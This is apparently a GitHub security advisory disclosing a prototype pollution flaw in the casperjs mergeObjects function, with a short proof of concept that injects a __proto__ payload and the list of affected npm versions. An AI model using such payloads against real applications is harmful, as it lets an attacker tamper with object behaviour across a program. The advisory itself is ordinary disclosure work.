GitHub Advisory Database
GHSA-vrr3-5r3v-7xfw
Improperly Controlled Modification of Dynamically-Determined Object Attributes in casperjs
Details
Overview
casperjs is a navigation scripting & testing utility for PhantomJS and SlimerJS.
Affected versions of this package are vulnerable to Prototype Pollution via the mergeObjects utility function.
PoC
var payload = JSON.parse('{"__proto__": {"a": "pwned"}}');
mergeObjects({}, payload);
console.log({}.a); // prints "pwned"
Affected packages
| Ecosystem | Package | Affected versions |
|---|---|---|
| npm | casperjs | All versions up to and including 1.1.4 |